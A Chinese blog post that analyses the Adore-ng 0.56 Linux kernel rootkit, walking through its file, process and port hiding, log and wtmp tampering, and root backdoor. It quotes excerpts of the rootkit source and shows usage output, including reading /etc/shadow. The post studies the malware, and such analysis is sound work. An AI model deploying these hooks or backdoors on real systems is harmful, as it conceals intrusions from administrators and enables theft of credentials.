全部博文(930)
分类: LINUX
2009-10-04 11:15:10
Adore-ng-0.56分析
Adore-ng-0.56具备以下几个功能
1. 文件隐藏
2. 进程隐藏
3. 端口隐藏
4. 清理犯罪现场
5. 获得root权限
使用:
环境: CentOS 5.3 kernel 2.6.18
代码结构:
[root@localhost adore-ng]# ls
adore-ng.c adore-ng.h ava.c libinvisible.c libinvisible.h Makefile
ps:找了下源码,好像都是修改过之后的!!我修改过之后的如上,有些没必要的东东or我认为不重要的就裁减了.
Insmod adore-ng.ko后lsmod | grep adore-ng是可以看到的
Cleaner.c文件就是用来隐藏adore-ng的
#define __KERNEL__
#define MODULE
#ifdef MODVERSIONS
#include
#endif
#include
#include
#include
int init_module()
{
if (__this_module.next)
__this_module.next = __this_module.next->next;
return 0;
}
int cleanup_module()
{
return 0;
}
MODULE_LICENSE("GPL");
我这里没弄这个文件,因为编译好像有点问题,我也不是太关心这个
1.隐藏文件
[root@localhost adore-ng]# ls
adore-ng.c adore-ng.ko adore-ng.mod.o ava libinvisible.c Makefile Module.symvers
adore-ng.h adore-ng.mod.c adore-ng.o ava.c libinvisible.h Module.markers
[root@localhost adore-ng]# ./ava h Module.symvers
Checking for adore 0.12 or higher ...
Adore 1.56 installed. Good luck.
File 'Module.symvers' is now hidden.
[root@localhost adore-ng]# ls
adore-ng.c adore-ng.h adore-ng.ko adore-ng.mod.c adore-ng.mod.o adore-ng.o ava ava.c libinvisible.c libinvisible.h Makefile Module.markers
2.隐藏进程
[root@localhost adore-ng]# ./ava i 3121
Checking for adore 0.12 or higher ...
Adore 1.56 installed. Good luck.
Made PID 3121 invisible.
[root@localhost adore-ng]# ps aux | grep 3121
root 4723 0.0 0.1 3912 676 pts/1 R+ 18:13 0:00 grep 3121
[root@localhost adore-ng]# ./ava v 3121
Checking for adore 0.12 or higher ...
Adore 1.56 installed. Good luck.
Made PID 3121 visible.
[root@localhost adore-ng]# ps aux | grep 3121
root 3121 0.2 0.3 12708 1844 ? S 17:28 0:07 scim-bridge
3.获得root权限
./ava r cat /etc/shadow
端口和清理直接见代码了
[root@localhost adore-ng]# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file or PID]
I print info (secret UID etc)
h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible
实现分析:
1. 文件隐藏
用户:
运行ls,find之类命令来查看某个目录下是否有要找的文件。这样就有了用黑客自己的ls,find命令来替换此类命令来实现文件(目录)隐藏的方法。但实践证明这种方法很容易露馅,现在一般不太用了。
程序:
无论是ls还是find都是通过调用系统调用(system call)来与内核打交道的,让我们用strace来看一下吧。
突然发现strace好像不能重定向^_^.
Strace –o ls.txt ls
open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3 ①
fstat64(3, {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0 ②
fcntl64(3, F_SETFD, FD_CLOEXEC) = 0
brk(0x805e000) = 0x805e000
getdents64(0x3, 0x805cfc8, 0x1000, 0x805cf98) = 1464 ③
brk(0x805f000) = 0x805f000
getdents64(0x3, 0x805cfc8, 0x1000, 0x805cf98) = 0 ④
close(3) = 0 ⑤
① 打开当前目录这个文件(目录是一种特殊的文件),并返回文件句柄3
② 取得当前目录文件的属性,比如大小,这里为4096
③ 通过getdents64系统调用来读取当前目录下的文件,也就是你运行ls命令后看到的
④ 同上
⑤ 关闭代表当前目录文件的句柄
这里核心是getdents64系统调用,它会读取目录文件中的一个个目录项(directory entry),运行ls后能看到文件,就是因为它返回的这些目录项。
由于getdents64()是系统调用,所以要干预它,只能在内核中,通过驱动程序方式,在Linux下就是LKM方式。目前有两种方法来“干预“。
一.Hook系统调用表(system call table)的getdents64调用项
这种hook系统调用表的方法在Linux rootkit中曾经流行一时,但现在已经成为过去式,因为反黑客软件通过检查系统调用表(与干净的该系统调用表的备份一比较)就能发现有黑客软件驻留。
二. 通过修改VFS(Virtual File Switch)中的相关函数指针来实现隐藏文件
这是比较新,也是让反黑客软件比较头痛的一种方法。所谓VFS是Linux在实际文件系统上抽象出的一个文件系统模型,我的理解是VFS就象C++中的abstract class(记住不是interface,因为VFS中有很实际的代码,一些各个文件系统通用的逻辑都在该父类中被实现),而各个具体的文件系统,比如象ext2,minix,vfat等,则是VFS这个抽象类的子类,这个我也不是很懂,代码内面这么写滴
Adore-ng.c:
patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir);
//这里root_fs为”/”,就是可以隐藏整个系统内的任意文件
orig_root_readdir用来保存原有的readdir
adore_root_readdir哈哈这个就是我们自己的readdir,你可以用它干坏事了哦
adore_root_readdir最后调用了这个函数
int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
…..
if (uid == ELITE_UID && gid == ELITE_GID) {
r = 0;
} else
r = root_filldir(buf, name, nlen, off, ino, x);
….
}
你应该有点端倪了,,再看看
int adore_hidefile(adore_t *a, char *path)
{
return lchown(path, ELITE_UID, ELITE_GID);
}
ELITE_UID 与 ELITE_GID 是两个定义在 Makefile 中的常数。
粗看,有点莫名其妙。我们要求的是隐藏文件,但 ava 却是通过系统调用 lchown 来改变该文件的 UID(User ID)和 GID(Group ID),好像风马牛不相及。再看看上面的
if (uid == ELITE_UID && gid == ELITE_GID) {
r = 0;
}
哦,懂了!!!先设置文件UID和GID为一个实际系统中不存在的东东,读的时候如果UID和GID为指定的就隐藏了….看看代码应该就明白了!!至于深层次的文件系统的实现,俺也就不懂了,指导过程就好
2. 进程隐藏
普通用户
要实现进程隐藏,自然先得搞清楚计算机用户是怎样查询当前系统上运行着哪些进程的。用户一般用 ps,top 之类命令来查看当前运行进程
程序
无论ps还是top,都是用户程序,它们不可能直接去查询Linux内核中与进程相关的数据结构,肯定是通过什么接口。是什么呢
Strace –o ps.txt ps
监控到的系统调用列表如下
open("/proc", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 6
fstat64(6, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
fcntl64(6, F_SETFD, FD_CLOEXEC) = 0
getdents64(0x6, 0x8163db8, 0x400, 0x8163d68) = 1016
getdents64(0x6, 0x8163db8, 0x400, 0x8163d68) = 688
stat64("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
open("/proc/1/stat", O_RDONLY) = 7
read(7, "1 (init) S 0 0 0 0 -1 256 78 173"..., 511) = 189
close(7) = 0
open("/proc/1/statm", O_RDONLY) = 7
整个调用列表很长,我这里只摘录一点。
在Linux下是通过访问/proc虚拟文件系统来读取当前系统运行进程列表的。
Ps或top程序就是通过/proc虚拟文件系统来获得运行进程相关的所有信息的。我们如果能拦截对proc虚拟文件系统的读取访问,就能做一点过滤的工作,以隐藏某些进程
Linux系统是通过读取/proc目录下的代表各个进程的“数字目录”来获得当前系统运行的进程列表及其信息的(具体Linux内核是怎样虚拟出/proc目录下的文件的,请参见内核源代码fs/proc分支。这是一个非常有趣的虚拟文件系统,我准备好好写一篇文章来介绍它的实现。之所以想写,是因为即使介绍Linux内核的名著《Understanding The Linux Kernel, 3rd Edition》也没有好好介绍它,而其他的一些文章也是只言片语的介绍怎样在LKM中实现几个函数来在/proc目录下虚拟出文件来。实在不痛快!)
这样隐藏进程与隐藏文件就很类似了,你只要把/proc目录下代表某个进程的数字目录隐藏起来,也就达到了隐藏该进程的目的。
在ava中隐藏于显示进程调用了libinvisible.c中的adore_hideproc()函数和adore_unhideproc()函数
int adore_hideproc(adore_t *a, pid_t pid)
{
char buf[1024];
if (pid == 0)
return -1;
sprintf(buf, APREFIX"/hide-%d", pid);
close(open(buf, O_RDWR|O_CREAT, 0));
unlink(buf);
return 0;
}
要隐藏进程252就是在目录/proc下(上面的APREFIX代表字符串“/proc”)创建文件“hide-252”(在open调用中带O_CREAT标志),然后马上关闭创建的文件句柄,最后是删除上面创建的“/proc/hide-252”文件。而要显示被隐藏进程,过程同“隐藏”完全一样,只不过文件名变成了“unhide-252”。
粗看有点丈二和尚摸不着头脑,是吗?
在adore-ng-0.56的内核模块部分,关于进程隐藏的代码如下:
int init_module()
{
….
orig_proc_lookup = proc_root.proc_iops->lookup;
proc_root.proc_iops->lookup = adore_lookup;
}
struct dentry *adore_lookup(struct inode *i, struct dentry *d)
{
….
else if ((current->flags & PF_AUTH) &&
strncmp(d->d_iname, "hide-", 5) == 0) {
hide_proc(adore_atoi(d->d_iname+5));
} else if ((current->flags & PF_AUTH) &&
strncmp(d->d_iname, "unhide-", 7) == 0) {
unhide_proc(adore_atoi(d->d_iname+7));
} else if ((current->flags & PF_AUTH) &&
strncmp(d->d_iname, "uninstall", 9) == 0) {
cleanup_module();
}
…….
}
adore-ng用自己的“adore_lookup”替换了proc虚拟文件系统中inode_operations函数集中的“lookup”函数。所以,当libinvisible.c中的open(“/proc/hide-252”, O_RDWR|O_CREAT, 0)函数触发的dir->i_op->lookup,其实调用的就是adore_lookup函数。
最后就是这个了
inline void hide_proc(pid_t x)
{
if (x >= PID_MAX || x == 1)
return;
hidden_procs[x/8] |= 1<<(x%8);
}
3. 端口隐藏
adore-ng有隐藏端口的逻辑
u_short HIDDEN_SERVICES[] = {2222, 7350, 0};
让我们看一下netstat一类工具是通过什么接口来知道当前系统中有什么样的链接的?方法还是用strace来追踪一下
Strace –o netstat.txt netstat
open("/proc/net/tcp", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7db7000
read(3, " sl local_address rem_address "..., 1024) = 1024
…
Adore-ng关心的就是上面标红的“/proc/net/tcp”文件
pde = proc_find_tcp();
o_get_info_tcp = pde->get_info;
pde->get_info = n_get_info_tcp;
adore-ng用自己的钩子函数n_get_info_tcp替换了proc文件系统中的“get_info”。
下面的函数就实现了隐藏端口的功能:
int n_get_info_tcp(char *page, char **start, off_t pos, int count)
int tcp_new_size()
这个类似就不细说了^_^
4. 清理犯罪现场
干了坏事,可别忘了要清理“犯罪现场”,不要只顾着干坏事时的“爽”,而太得意忘形了。Adore-ng既然是黑客软件,而且是优秀的黑客软件,自然它在这方面也是够“黑”的。一般
程序运行时都会留下一些“印迹”,要完全消除这些“印迹”是不太可能的,因为你怎么知道被你隐藏的进程的所有信息(除非你有它的源代码)?但一些系统管理员最常看的“印迹”还是可以擦除的,比如syslog中的信息,比如utmp和wtmp中的信息(具体什么意思,请man wtmp,这可是Unix的基础知识喔)。
j = 0;
for (i = 0; var_filenames[i]; ++i) {
var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0);
if (IS_ERR(var_files[i])) {
var_files[i] = NULL;
continue;
}
if (!j) { /* just replace one time, its all the same FS */
orig_var_write = var_files[i]->f_op->write;
var_files[i]->f_op->write = adore_var_write;
j = 1;
}
}
5.象root一样发布命令
黑客软件这个隐藏,那个隐藏,这都不是真正想干的。真正想干的就是这里的“象root一样发布命令”。比如“ava r /bin/cat /etc/shadow”,查看口令文件密码。
还是从ava控制界面看起吧。
在ava初始化好adore-ng好以后,就调用位于libinvisible.c中的adore_makeroot()函数。从函数名上看好像是获得root权限。
a = adore_init();
if (adore_makeroot(a) < 0)
int adore_makeroot(adore_t *a)
{ /* now already handled by adore_init() */
close(open(APREFIX"/fullprivs", O_RDWR|O_CREAT, 0));
unlink(APREFIX"/fullprivs");
if (geteuid() != 0)
return -1;
return 0;
}
我们知道open调用创建“/proc/fullprivs”文件,会引起内核模块adore_lookup()函数的执行。
struct dentry *adore_lookup(struct inode *i, struct dentry *d)
{
….
if ((current->flags & PF_AUTH) &&
strncmp(d->d_iname, "fullprivs", 9) == 0) {
current->uid = 0; 把相关当前进程(ava控制界面)的各种uid与gid都置成root
current->suid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
current->fsuid = 0;
current->fsgid = 0;
cap_set_full(current->cap_effective); 设置相应能力权限
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
…..
}
这就获得了root权限
这个代码实在是不得不佩服,小而精悍!!!由于对文件系统不熟悉,时间和精力也有限,有些不对的地方,还望海涵与指正!!!
学学Adore-ng的文件 进程隐藏,获得root权限还是受益无穷的,以后也可以侃侃rootkit了^_^